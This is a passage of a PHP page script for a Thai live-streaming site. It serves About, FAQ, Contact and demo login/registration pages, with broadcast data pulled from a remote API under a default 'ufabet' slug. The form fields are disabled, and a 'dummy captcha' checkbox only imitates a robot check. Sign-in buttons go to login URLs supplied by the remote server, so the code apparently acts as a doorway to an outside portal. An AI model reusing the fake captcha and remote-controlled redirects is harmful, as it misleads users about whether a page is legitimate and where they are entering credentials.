<p>คุณสามารถตั้งค่าบราวเซอร์เพื่อปฏิเสธหรือลบคุกกี้ได้ แต่อาจทำให้บางส่วนของบริการทำงานได้ไม่สมบูรณ์</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">คุกกี้จากบุคคลที่สาม</h2>
<p>บางฟีเจอร์อาจใช้คุกกี้จากผู้ให้บริการภายนอกเพื่อการวัดผลหรือการสนับสนุนด้านเทคนิค</p>
</div>
<a class="btn btn--primary" href="<?php echo esc_url($siteBaseUrl); ?>" style="margin-top: 2rem;">กลับหน้าหลัก</a>
</div>
</main>
</body>
</html>
<?php
exit;
}
// About Us page
// Supports both GET params (?mode=about) and pretty URLs (/about)
if ($pageMode === 'about') {
$faviconUrl = resolve_favicon_url(64);
$siteBaseUrl = rtrim(get_site_url(), '/');
$TLDDomain = get_tld_domain();
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>เกี่ยวกับเรา | <?php echo esc_html($TLDDomain); ?></title>
<meta name="description" content="เกี่ยวกับแพลตฟอร์มการถ่ายทอดสดและพันธกิจของเรา">
<link rel="icon" href="<?php echo esc_url($faviconUrl); ?>" type="image/x-icon">
<link rel="stylesheet" href="https://cdn.krabi88.vip/css/amss/styles.min.css">
</head>
<body>
<main style="min-height: 80vh; display: flex; align-items: center; justify-content: center; padding: 2rem;">
<div class="auth-container" style="max-width: 600px;">
<h1>เกี่ยวกับเรา</h1>
<div style="text-align: left; line-height: 1.8;">
<p><?php echo esc_html($TLDDomain); ?> คือแพลตฟอร์มถ่ายทอดสดที่ออกแบบมาเพื่อการสื่อสารอย่างมีประสิทธิภาพ รองรับการรับชมบนทุกอุปกรณ์</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">สิ่งที่เรานำเสนอ</h2>
<ul style="margin-left: 1.5rem;">
<li>สตรีมมิงความคมชัดสูง พร้อมประสบการณ์แบบเรียลไทม์</li>
<li>ระบบแชตสดสำหรับการมีส่วนร่วมกับผู้ชม</li>
<li>การรับชมที่ง่ายและปลอดภัยทั้งบนมือถือและเดสก์ท็อป</li>
</ul>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">พันธกิจของเรา</h2>
<p>มุ่งมั่นให้ทุกการถ่ายทอดสดมีคุณภาพสูงและเข้าถึงได้ง่ายสำหรับทุกคน</p>
</div>
<a class="btn btn--primary" href="<?php echo esc_url($siteBaseUrl); ?>" style="margin-top: 2rem;">กลับหน้าหลัก</a>
</div>
</main>
</body>
</html>
<?php
exit;
}
// FAQ page
// Supports both GET params (?mode=faq) and pretty URLs (/faq)
if ($pageMode === 'faq') {
$faviconUrl = resolve_favicon_url(64);
$siteBaseUrl = rtrim(get_site_url(), '/');
$TLDDomain = get_tld_domain();
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>คำถามที่พบบ่อย | <?php echo esc_html($TLDDomain); ?></title>
<meta name="description" content="คำถามที่พบบ่อยเกี่ยวกับการรับชม การสมัครสมาชิก และการใช้งาน">
<link rel="icon" href="<?php echo esc_url($faviconUrl); ?>" type="image/x-icon">
<link rel="stylesheet" href="https://cdn.krabi88.vip/css/amss/styles.min.css">
</head>
<body>
<main style="min-height: 80vh; display: flex; align-items: center; justify-content: center; padding: 2rem;">
<div class="auth-container" style="max-width: 600px;">
<h1>คำถามที่พบบ่อย</h1>
<div style="text-align: left; line-height: 1.8;">
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">ต้องสมัครสมาชิกหรือไม่?</h2>
<p>การรับชมบางรายการอาจต้องเข้าสู่ระบบเพื่อยืนยันตัวตนและสิทธิ์การเข้าถึง</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">รองรับอุปกรณ์ใดบ้าง?</h2>
<p>รองรับการรับชมบน Web Browser, iOS และ Android ผ่านคอมพิวเตอร์ แท็บเล็ต และสมาร์ตโฟน</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">หากมีปัญหาในการรับชมทำอย่างไร?</h2>
<p>ลองรีเฟรชหน้าเว็บ ตรวจสอบอินเทอร์เน็ต และติดต่อฝ่ายบริการลูกค้าหากยังพบปัญหา</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">มีนโยบายคืนเงินหรือไม่?</h2>
<p>มีนโยบายคืนเงินสำหรับกรณีที่ไม่สามารถเข้าถึงบริการได้ตามเงื่อนไขที่กำหนด</p>
</div>
<a class="btn btn--primary" href="<?php echo esc_url($siteBaseUrl); ?>" style="margin-top: 2rem;">กลับหน้าหลัก</a>
</div>
</main>
</body>
</html>
<?php
exit;
}
// Contact page
// Supports both GET params (?mode=contact) and pretty URLs (/contact)
if ($pageMode === 'contact') {
$faviconUrl = resolve_favicon_url(64);
$siteBaseUrl = rtrim(get_site_url(), '/');
$TLDDomain = get_tld_domain();
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ติดต่อเรา | <?php echo esc_html($TLDDomain); ?></title>
<meta name="description" content="ช่องทางการติดต่อและการรับการสนับสนุนสำหรับผู้ใช้บริการ">
<link rel="icon" href="<?php echo esc_url($faviconUrl); ?>" type="image/x-icon">
<link rel="stylesheet" href="https://cdn.krabi88.vip/css/amss/styles.min.css">
</head>
<body>
<main style="min-height: 80vh; display: flex; align-items: center; justify-content: center; padding: 2rem;">
<div class="auth-container" style="max-width: 600px;">
<h1>ติดต่อเรา</h1>
<div style="text-align: left; line-height: 1.8;">
<p>หากมีคำถามเกี่ยวกับการใช้งานหรือการถ่ายทอดสด ทีมงานพร้อมช่วยเหลือเสมอ</p>
<h2 style="font-size: 1.25rem; margin-top: 1.5rem;">ช่องทางการติดต่อ</h2>
<ul style="margin-left: 1.5rem;">
<li>แชตสดระหว่างการถ่ายทอดเพื่อสอบถามแบบเรียลไทม์</li>
<li>โซเชียลมีเดียที่แสดงในหน้าเว็บไซต์</li>
<li>ช่องทางติดต่ออื่น ๆ ที่ระบุในประกาศของงานถ่ายทอดสด</li>
</ul>
</div>
<a class="btn btn--primary" href="<?php echo esc_url($siteBaseUrl); ?>" style="margin-top: 2rem;">กลับหน้าหลัก</a>
</div>
</main>
</body>
</html>
<?php
exit;
}
// Authentication page (replaces auth.php)
// Supports both GET params (?mode=login) and pretty URLs (/login)
$authMode = $pageMode;
$isAuthView = in_array($authMode, array('login', 'register'), true)
|| (is_post_request() && isset($_POST['form_type']));
if ($isAuthView) {
$faviconUrl = resolve_favicon_url(64);
$appleTouchIconUrl = resolve_favicon_url(180);
set_antibot_headers();
// Session disabled - skip login check
$botCheck = detect_bot();
if ($botCheck['is_bot'] && $botCheck['score'] >= 2) {
log_suspicious_activity('auth_page_bot', $botCheck);
}
$csrfToken = generate_csrf_token();
$formTimestamp = generate_form_timestamp();
$loginError = '';
$registerError = '';
$registerSuccess = '';
$formData = array(
'firstName' => '',
'lastName' => '',
'email' => '',
'terms' => false,
'newsletter' => false
);
$activeForm = $authMode === 'register' ? 'register' : 'login';
$authLoginUrl = '';
$authRegisterUrl = '';
$authApiUrl = 'https://broadcast.krabi88.vip/api/broadcast/ufabet';
$authRemote = fetch_remote_broadcast($authApiUrl, 4);
if ($authRemote['ok']) {
$authUpstream = safe_json_decode($authRemote['body'], true);
if (is_array($authUpstream)) {
$authNormalized = normalize_broadcast_payload($authUpstream, 'ufabet');
if (isset($authNormalized['event']) && is_array($authNormalized['event'])) {
$authLoginUrl = isset($authNormalized['event']['login_url']) ? trim((string) $authNormalized['event']['login_url']) : '';
$authRegisterUrl = isset($authNormalized['event']['register_url']) ? trim((string) $authNormalized['event']['register_url']) : '';
}
}
}
if ($authLoginUrl === '') {
$authLoginUrl = build_auth_url('login', false);
}
if ($authRegisterUrl === '') {
$authRegisterUrl = build_auth_url('register', false);
}
if (is_post_request()) {
$formType = isset($_POST['form_type']) ? $_POST['form_type'] : '';
$activeForm = $formType === 'register' ? 'register' : 'login';
if ($formType === 'register') {
if (honeypot_triggered()) {
log_suspicious_activity('honeypot_register', array());
$registerError = 'คำขอไม่ถูกต้อง กรุณาลองใหม่อีกครั้ง';
} elseif (!verify_form_timing(3, 3600)) {
$elapsed = get_form_elapsed_time();
if ($elapsed !== false && $elapsed < 3) {
log_suspicious_activity('fast_submit_register', array('elapsed' => $elapsed));
$registerError = 'กรุณาใช้เวลาในการกรอกแบบฟอร์มเล็กน้อย';
} else {
$registerError = 'เซสชันหมดอายุ กรุณารีเฟรชหน้าแล้วลองใหม่';
}
} elseif (!verify_csrf_token(isset($_POST['csrf_token']) ? $_POST['csrf_token'] : '')) {
$registerError = 'คำขอไม่ถูกต้อง กรุณาลองใหม่อีกครั้ง';
log_suspicious_activity('csrf_fail_register', array());
} else {
$formData['firstName'] = isset($_POST['firstName']) ? trim($_POST['firstName']) : '';
$formData['lastName'] = isset($_POST['lastName']) ? trim($_POST['lastName']) : '';
$formData['email'] = isset($_POST['email']) ? trim($_POST['email']) : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';
$confirmPassword = isset($_POST['confirmPassword']) ? $_POST['confirmPassword'] : '';
$formData['terms'] = isset($_POST['terms']) && $_POST['terms'] === 'on';
$formData['newsletter'] = isset($_POST['newsletter']) && $_POST['newsletter'] === 'on';
$errors = array();
if (empty($formData['firstName'])) {
$errors[] = 'กรุณากรอกชื่อ';
} elseif (strlen($formData['firstName']) < 2) {
$errors[] = 'ชื่อต้องมีอย่างน้อย 2 ตัวอักษร';
} elseif (strlen($formData['firstName']) > 50) {
$errors[] = 'ชื่อต้องไม่เกิน 50 ตัวอักษร';
}
if (empty($formData['lastName'])) {
$errors[] = 'กรุณากรอกนามสกุล';
} elseif (strlen($formData['lastName']) < 2) {
$errors[] = 'นามสกุลต้องมีอย่างน้อย 2 ตัวอักษร';
} elseif (strlen($formData['lastName']) > 50) {
$errors[] = 'นามสกุลต้องไม่เกิน 50 ตัวอักษร';
}
if (empty($formData['email'])) {
$errors[] = 'กรุณากรอกอีเมล';
} elseif (!filter_var($formData['email'], FILTER_VALIDATE_EMAIL)) {
$errors[] = 'กรุณากรอกอีเมลให้ถูกต้อง';
}
if (empty($password)) {
$errors[] = 'กรุณากรอกรหัสผ่าน';
} elseif (strlen($password) < PASSWORD_MIN_LENGTH) {
$errors[] = 'รหัสผ่านต้องมีอย่างน้อย ' . PASSWORD_MIN_LENGTH . ' ตัวอักษร';
} elseif (!preg_match('/[A-Z]/', $password)) {
$errors[] = 'รหัสผ่านต้องมีตัวอักษรพิมพ์ใหญ่อย่างน้อย 1 ตัว';
} elseif (!preg_match('/[a-z]/', $password)) {
$errors[] = 'รหัสผ่านต้องมีตัวอักษรพิมพ์เล็กอย่างน้อย 1 ตัว';
} elseif (!preg_match('/[0-9]/', $password)) {
$errors[] = 'รหัสผ่านต้องมีตัวเลขอย่างน้อย 1 ตัว';
}
if (empty($confirmPassword)) {
$errors[] = 'กรุณายืนยันรหัสผ่าน';
} elseif ($password !== $confirmPassword) {
$errors[] = 'รหัสผ่านไม่ตรงกัน';
}
if (!$formData['terms']) {
$errors[] = 'กรุณายอมรับข้อกำหนดการใช้งานและนโยบายความเป็นส่วนตัว';
}
if (!empty($errors)) {
$registerError = $errors[0];
} else {
$registerSuccess = 'ขณะนี้ปิดการสมัครสมาชิก (หน้าเดโม)';
}
}
} else {
if (honeypot_triggered()) {
log_suspicious_activity('honeypot_login', array());
$loginError = 'คำขอไม่ถูกต้อง กรุณาลองใหม่อีกครั้ง';
} elseif (!verify_form_timing(2, 3600)) {
$elapsed = get_form_elapsed_time();
if ($elapsed !== false && $elapsed < 2) {
log_suspicious_activity('fast_submit_login', array('elapsed' => $elapsed));
$loginError = 'กรุณารอสักครู่ก่อนส่งข้อมูล';
} else {
$loginError = 'เซสชันหมดอายุ กรุณารีเฟรชหน้าแล้วลองใหม่';
}
} elseif (!verify_csrf_token(isset($_POST['csrf_token']) ? $_POST['csrf_token'] : '')) {
$loginError = 'คำขอไม่ถูกต้อง กรุณาลองใหม่อีกครั้ง';
log_suspicious_activity('csrf_fail_login', array());
} else {
$email = isset($_POST['email']) ? trim($_POST['email']) : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';
$remember = isset($_POST['remember']) && $_POST['remember'] === 'on';
if (empty($email)) {
$loginError = 'กรุณากรอกอีเมล';
} elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$loginError = 'กรุณากรอกอีเมลให้ถูกต้อง';
} elseif (empty($password)) {
$loginError = 'กรุณากรอกรหัสผ่าน';
} else {
$loginError = 'อีเมลหรือรหัสผ่านไม่ถูกต้อง กรุณาลองใหม่';
}
}
}
$csrfToken = generate_csrf_token();
$formTimestamp = generate_form_timestamp();
}
$domainLabel = get_tld_domain();
$pageTitle = $activeForm === 'register' ? 'สมัครสมาชิก' : 'ลงชื่อเข้าใช้';
$pageDescription = $activeForm === 'register'
? 'สร้างบัญชีบน ' . $domainLabel . ' เพื่อเข้าถึงโปรไฟล์ การตั้งค่าที่ปลอดภัย และสิทธิประโยชน์สำหรับสมาชิก.'
: 'ลงชื่อเข้าใช้บน ' . $domainLabel . ' เพื่อเข้าถึงโปรไฟล์ การตั้งค่าที่ปลอดภัย และสิทธิประโยชน์สำหรับสมาชิก.';
// Force UTF-8 output (fixes Windows Server TIS-620 default)
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title><?php echo esc_html($pageTitle . ' | ' . $domainLabel); ?></title>
<meta name="description" content="<?php echo esc_attr($pageDescription); ?>">
<?php echo get_antibot_meta_tags(); ?>
<?php echo render_validation_gate_snippet(); ?>
<meta property="og:type" content="website">
<meta property="og:title" content="<?php echo esc_attr($pageTitle); ?>">
<meta property="og:description" content="ลงชื่อเข้าใช้หรือสมัครสมาชิกเพื่อรับชมการถ่ายทอดสด">
<meta name="mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<meta name="theme-color" content="#1a1a2e">
<?php if (!empty($faviconUrl)) : ?>
<link rel="icon" type="image/png" href="<?php echo esc_url($faviconUrl); ?>" sizes="64x64">
<?php endif; ?>
<?php if (!empty($appleTouchIconUrl)) : ?>
<link rel="apple-touch-icon" href="<?php echo esc_url($appleTouchIconUrl); ?>" sizes="180x180">
<?php endif; ?>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdn.krabi88.vip/css/amss/styles.min.css">
</head>
<body class="auth-page">
<a href="#main-content" class="skip-link">ข้ามไปเนื้อหาหลัก</a>
<header class="header header--minimal">
<nav class="nav">
<a href="/" class="logo" aria-label="หน้าแรก">
<svg width="32" height="32" viewBox="0 0 32 32" fill="none" aria-hidden="true">
<circle cx="16" cy="16" r="14" stroke="currentColor" stroke-width="2"/>
<polygon points="13,10 13,22 23,16" fill="currentColor"/>
</svg>
<span>บัญชี</span>
</a>
</nav>
</header>
<main id="main-content" class="auth-main">
<div class="auth-container">
<div class="auth-card">
<div class="auth-header">
<h1><?php echo $activeForm === 'register' ? 'สมัครสมาชิก' : 'ยินดีต้อนรับกลับ'; ?></h1>
<p><?php echo $activeForm === 'register' ? 'สมัครเพื่อรับชมการถ่ายทอดสด' : 'ลงชื่อเข้าใช้เพื่อรับชมต่อ'; ?></p>
</div>
<div class="auth-toggle" role="tablist" aria-label="การเข้าสู่ระบบ">
<a class="btn <?php echo $activeForm === 'login' ? 'btn--primary' : 'btn--outline'; ?>" href="<?php echo esc_attr(build_auth_url('login', false)); ?>" role="tab" aria-selected="<?php echo $activeForm === 'login' ? 'true' : 'false'; ?>">ลงชื่อเข้าใช้</a>
<a class="btn <?php echo $activeForm === 'register' ? 'btn--primary' : 'btn--outline'; ?>" href="<?php echo esc_attr(build_auth_url('register', false)); ?>" role="tab" aria-selected="<?php echo $activeForm === 'register' ? 'true' : 'false'; ?>">สมัครสมาชิก</a>
</div>
<div class="auth-panel <?php echo $activeForm === 'login' ? 'active' : ''; ?>" id="auth-login" role="tabpanel">
<?php if (!empty($loginError)) : ?>
<div class="form-error is-visible" role="alert">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<circle cx="12" cy="12" r="10"/>
<line x1="15" y1="9" x2="9" y2="15"/>
<line x1="9" y1="9" x2="15" y2="15"/>
</svg>
<span><?php echo esc_html($loginError); ?></span>
</div>
<?php endif; ?>
<div class="auth-cta">
<p class="auth-cta__text">การเข้าถึงดำเนินการผ่านพอร์ทัลทางการเพื่อความปลอดภัยและการยืนยันบัญชีของคุณ ลงชื่อเข้าใช้ที่นั่น แล้วกลับมาหน้านี้เพื่อรับชมต่อได้ทันที</p>
<a class="btn btn--primary btn--full" href="<?php echo esc_attr($authLoginUrl); ?>" rel="noopener noreferrer" target="_blank">ไปยังการลงชื่อเข้าใช้อย่างปลอดภัย</a>
</div>
<form id="login-form" class="auth-form" method="post" action="<?php echo esc_attr(build_auth_url('login', false)); ?>" novalidate>
<input type="hidden" name="form_type" value="login">
<input type="hidden" name="csrf_token" value="<?php echo esc_attr($csrfToken); ?>">
<?php echo render_form_timing_field(); ?>
<?php echo render_honeypot_field('login'); ?>
<div class="form-group">
<label for="login-email">อีเมล</label>
<div class="input-wrapper">
<svg class="input-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" aria-hidden="true">
<path d="M4 4h16c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2z"/>
<polyline points="22,6 12,13 2,6"/>
</svg>
<input
type="email"
id="login-email"
name="email"
placeholder="you@example.com"
autocomplete="email"
required
disabled
value="<?php echo isset($_POST['email']) && $activeForm === 'login' ? esc_attr($_POST['email']) : ''; ?>"
>
</div>
<span class="error-message" id="email-error" role="alert"></span>
</div>
<div class="form-group">
<label for="login-password">รหัสผ่าน</label>
<div class="input-wrapper">
<svg class="input-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" aria-hidden="true">
<rect x="3" y="11" width="18" height="11" rx="2" ry="2"/>
<path d="M7 11V7a5 5 0 0 1 10 0v4"/>
</svg>
<input
type="password"
id="login-password"
name="password"
placeholder="กรอกรหัสผ่าน"
autocomplete="current-password"
required
disabled
minlength="6"
>
<button type="button" class="toggle-password" aria-label="แสดงหรือซ่อนรหัสผ่าน">
<svg class="eye-open" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"/>
<circle cx="12" cy="12" r="3"/>
</svg>
<svg class="eye-closed" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" style="display:none">
<path d="M17.94 17.94A10.07 10.07 0 0 1 12 20c-7 0-11-8-11-8a18.45 18.45 0 0 1 5.06-5.94M9.9 4.24A9.12 9.12 0 0 1 12 4c7 0 11 8 11 8a18.5 18.5 0 0 1-2.16 3.19m-6.72-1.07a3 3 0 1 1-4.24-4.24"/>
<line x1="1" y1="1" x2="23" y2="23"/>
</svg>
</button>
</div>
<span class="error-message" id="password-error" role="alert"></span>
</div>
<div class="form-group form-options">
<label class="checkbox-wrapper">
<input type="checkbox" name="remember">
<span>จดจำฉัน</span>
</label>
<a href="#" class="forgot-link">ลืมรหัสผ่าน?</a>
</div>
<div class="form-group">
<div class="dummy-captcha" aria-label="ยืนยันตัวตน">
<label class="dummy-captcha__box">
<input type="checkbox" name="dummy_captcha_login" value="1">
<span class="dummy-captcha__check" aria-hidden="true"></span>
</label>
<div class="dummy-captcha__text">
<span>ฉันไม่ใช่หุ่นยนต์</span>
<small>ยืนยันตัวตน</small>
</div>
</div>
</div>
<button type="submit" class="btn btn--primary btn--full">ลงชื่อเข้าใช้</button>
</form>
</div>
<div class="auth-panel <?php echo $activeForm === 'register' ? 'active' : ''; ?>" id="auth-register" role="tabpanel">
<?php if (!empty($registerError)) : ?>
<div class="form-error is-visible" role="alert">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<circle cx="12" cy="12" r="10"/>
<line x1="15" y1="9" x2="9" y2="15"/>
<line x1="9" y1="9" x2="15" y2="15"/>
</svg>
<span><?php echo esc_html($registerError); ?></span>
</div>
<?php endif; ?>
<?php if (!empty($registerSuccess)) : ?>
<div class="form-success is-visible" role="status">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<polyline points="20 6 9 17 4 12"/>
</svg>
<span><?php echo esc_html($registerSuccess); ?></span>
</div>
<?php endif; ?>
<div class="auth-cta">
<p class="auth-cta__text">สร้างบัญชีผ่านพอร์ทัลทางการเพื่อปลดล็อกการใช้งานเต็มรูปแบบและจัดการโปรไฟล์ได้ในที่เดียว ใช้เวลาไม่นานและช่วยให้ข้อมูลของคุณปลอดภัย</p>
<a class="btn btn--primary btn--full" href="<?php echo esc_attr($authRegisterUrl); ?>" rel="noopener noreferrer" target="_blank">สมัครสมาชิกผ่านพอร์ทัลทางการ</a>
</div>
<form id="register-form" class="auth-form" method="post" action="<?php echo esc_attr(build_auth_url('register', false)); ?>" novalidate>
<input type="hidden" name="form_type" value="register">
<input type="hidden" name="csrf_token" value="<?php echo esc_attr($csrfToken); ?>">
<?php echo render_form_timing_field(); ?>
<?php echo render_honeypot_field('register'); ?>
<div class="form-group">
<label for="register-first-name">ชื่อ-นามสกุล</label>
<input
type="text"
id="register-first-name"
name="firstName"
placeholder="ชื่อ"
autocomplete="given-name"
required
disabled
value="<?php echo esc_attr($formData['firstName']); ?>"
>
</div>
<div class="form-group">
<label for="register-email">อีเมล</label>
<input
type="email"
id="register-email"
name="email"
placeholder="you@example.com"
autocomplete="email"
required
disabled
value="<?php echo esc_attr($formData['email']); ?>"
>
</div>
<div class="form-group">
<label for="register-password">รหัสผ่าน</label>
<input
type="password"
id="register-password"
name="password"
placeholder="ตั้งรหัสผ่านที่คาดเดายาก"
autocomplete="new-password"
required
disabled
>
</div>
<div class="form-group">
<label class="checkbox-wrapper">
<input type="checkbox" name="terms" <?php echo $formData['terms'] ? 'checked' : ''; ?> required>
<span>ฉันยอมรับข้อกำหนดการใช้งานและนโยบายความเป็นส่วนตัว</span>
</label>
</div>
<div class="form-group">
<label class="checkbox-wrapper">
<input type="checkbox" name="newsletter" <?php echo $formData['newsletter'] ? 'checked' : ''; ?>>
<span>ส่งข่าวสารและประกาศกิจกรรมให้ฉัน</span>
</label>
</div>
<div class="form-group">
<div class="dummy-captcha" aria-label="ยืนยันตัวตน">
<label class="dummy-captcha__box">
<input type="checkbox" name="dummy_captcha_register" value="1">
<span class="dummy-captcha__check" aria-hidden="true"></span>
</label>
<div class="dummy-captcha__text">
<span>ฉันไม่ใช่หุ่นยนต์</span>
<small>ยืนยันตัวตน</small>
</div>
</div>
</div>
<button type="submit" class="btn btn--primary btn--full">สมัครสมาชิก</button>
</form>
</div>
</div>
</div>
</main>
<script src="https://cdn.krabi88.vip/js/amss/script.min.js" defer></script>
</body>
</html>
<?php
exit;
}
// Fetch event data from API (return 404 if missing/invalid)
// Supports both GET params (?view=slug) and pretty URLs (/slug or /broadcast/slug)
$slug = get_broadcast_slug();
$currentAuthMode = get_auth_mode();
if ($slug === '' && !in_array($currentAuthMode, array('login', 'register'), true) && !isset($_GET['stream']) && !(isset($_GET['api']) && $_GET['api'] !== '') && !isset($_GET['update'])) {
// Redirect to default broadcast - detect server environment and check if URL rewriting works
$baseUrl = get_site_url();
$basePath = defined('BASE_PATH') ? BASE_PATH : __DIR__;
// Detect web server type
$serverSoftware = isset($_SERVER['SERVER_SOFTWARE']) ? strtolower($_SERVER['SERVER_SOFTWARE']) : '';
$isApache = strpos($serverSoftware, 'apache') !== false;
$isLiteSpeed = strpos($serverSoftware, 'litespeed') !== false || strpos($serverSoftware, 'openlitespeed') !== false;
$isIIS = strpos($serverSoftware, 'microsoft-iis') !== false || strpos($serverSoftware, 'iis') !== false;
$isNginx = strpos($serverSoftware, 'nginx') !== false;
// Check for appropriate config file based on server type
$hasValidConfig = false;
if (($isApache || $isLiteSpeed) && file_exists($basePath . '/.htaccess')) {
$hasValidConfig = true;
} elseif ($isIIS && file_exists($basePath . '/web.config')) {
$hasValidConfig = true;
}
// Note: Nginx doesn't use directory-level config files
// We cannot detect if Nginx has rewriting configured, so we default to query params
// Check if URL rewriting is actually active (server sets these variables when rewriting)
$rewriteActive = isset($_SERVER['REDIRECT_URL']) // Apache mod_rewrite
|| isset($_SERVER['REDIRECT_STATUS']) // Apache rewrite
|| isset($_SERVER['IIS_WasUrlRewritten']) // IIS URL Rewrite Module
|| isset($_SERVER['HTTP_X_REWRITE_URL']); // IIS alternative
// Only use pretty URLs if server has valid config for its type AND rewriting is proven active
// For Nginx: always use query params (safer, cannot detect rewriting config)
if (!$isNginx && $hasValidConfig && $rewriteActive) {
safe_redirect($baseUrl . '/ufabet');
} else {
// Default to query params (safer, always works)
safe_redirect($baseUrl . '/?view=ufabet');
}
}
// Set cache headers for broadcast pages to allow bfcache
if (!headers_sent()) {
header('Cache-Control: private, max-age=0, must-revalidate');
// Early hints for critical resources (HTTP 103)
if (function_exists('header_register_callback')) {
header('Link: <https://cdn.krabi88.vip/css/amss/styles.min.css>; rel=preload; as=style', false);
header('Link: <https://cdn.krabi88.vip/js/amss/script.min.js>; rel=preload; as=script', false);
header('Link: <https://fonts.googleapis.com>; rel=preconnect', false);
header('Link: <https://cdn.jsdelivr.net>; rel=preconnect', false);
}
}
$apiResponse = null;
if ($slug !== '') {
// Fetch directly from upstream API instead of making HTTP call to self
// This avoids potential issues with IIS URL rewriting and localhost connections
$baseCandidates = get_broadcast_api_base_candidates();
$remote = null;
$remoteUrl = '';
foreach ($baseCandidates as $baseUrl) {
$remoteUrl = rtrim($baseUrl, '/') . '/api/broadcast/' . rawurlencode($slug);
// Retry up to 2 times on transient failures (502)
for ($retry = 0; $retry < 2; $retry++) {
$remote = fetch_remote_broadcast($remoteUrl, 5);
if (is_array($remote) && ($remote['ok'] || $remote['status'] === 404)) {
break 2; // Exit both loops
}
// Only retry on 502 (connection failures)
if (!is_array($remote) || $remote['status'] !== 502) {
break;
}
usleep(200000); // Wait 200ms before retry
}
}
if (is_array($remote) && $remote['ok']) {
$upstream = safe_json_decode($remote['body'], true);
if (is_array($upstream)) {
$apiResponse = normalize_broadcast_payload($upstream, $slug);
}
}
}
if (!is_array($apiResponse) || empty($apiResponse['event'])) {
// Determine if this is a temporary failure (upstream down) vs actual 404
$isUpstreamFailure = is_array($remote) && isset($remote['status']) && $remote['status'] === 502;
$retryAfterSeconds = 300; // 5 minutes
if ($isUpstreamFailure) {
set_response_code(503); // Service Unavailable
} else {
set_response_code(404);
}
// Detect URL format for "Return Home" button
$requestUri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$baseUrl = get_site_url();
if (strpos($requestUri, '?') === false) {
// No query string in current request, use pretty URL
$homeUrl = $baseUrl . '/ufabet';
} else {
// Query string present, use query params
$homeUrl = $baseUrl . '/?view=ufabet';
}
// Set headers for retry behavior
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
header('Retry-After: ' . $retryAfterSeconds);
header('Cache-Control: no-cache, no-store, must-revalidate');
}
$errorTitle = $isUpstreamFailure ? 'บริการชั่วคราวไม่พร้อมใช้งาน' : 'ไม่พบการถ่ายทอดสด';
$errorMessage = $isUpstreamFailure
? 'บริการถ่ายทอดสดไม่พร้อมใช้งานชั่วคราว หน้านี้จะลองใหม่อัตโนมัติใน ' . $retryAfterSeconds . ' วินาที'
: 'ข้อมูลการถ่ายทอดสดยังไม่พร้อมใช้งาน โปรดลองใหม่ภายหลัง';
$currentUrl = get_current_url(true);
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, nofollow">
<?php if ($isUpstreamFailure): ?>
<meta http-equiv="refresh" content="<?php echo $retryAfterSeconds; ?>;url=<?php echo esc_url($currentUrl); ?>">
<?php endif; ?>
<title><?php echo $errorTitle; ?></title>
<link rel="stylesheet" href="https://cdn.krabi88.vip/css/amss/styles.min.css">
</head>
<body>
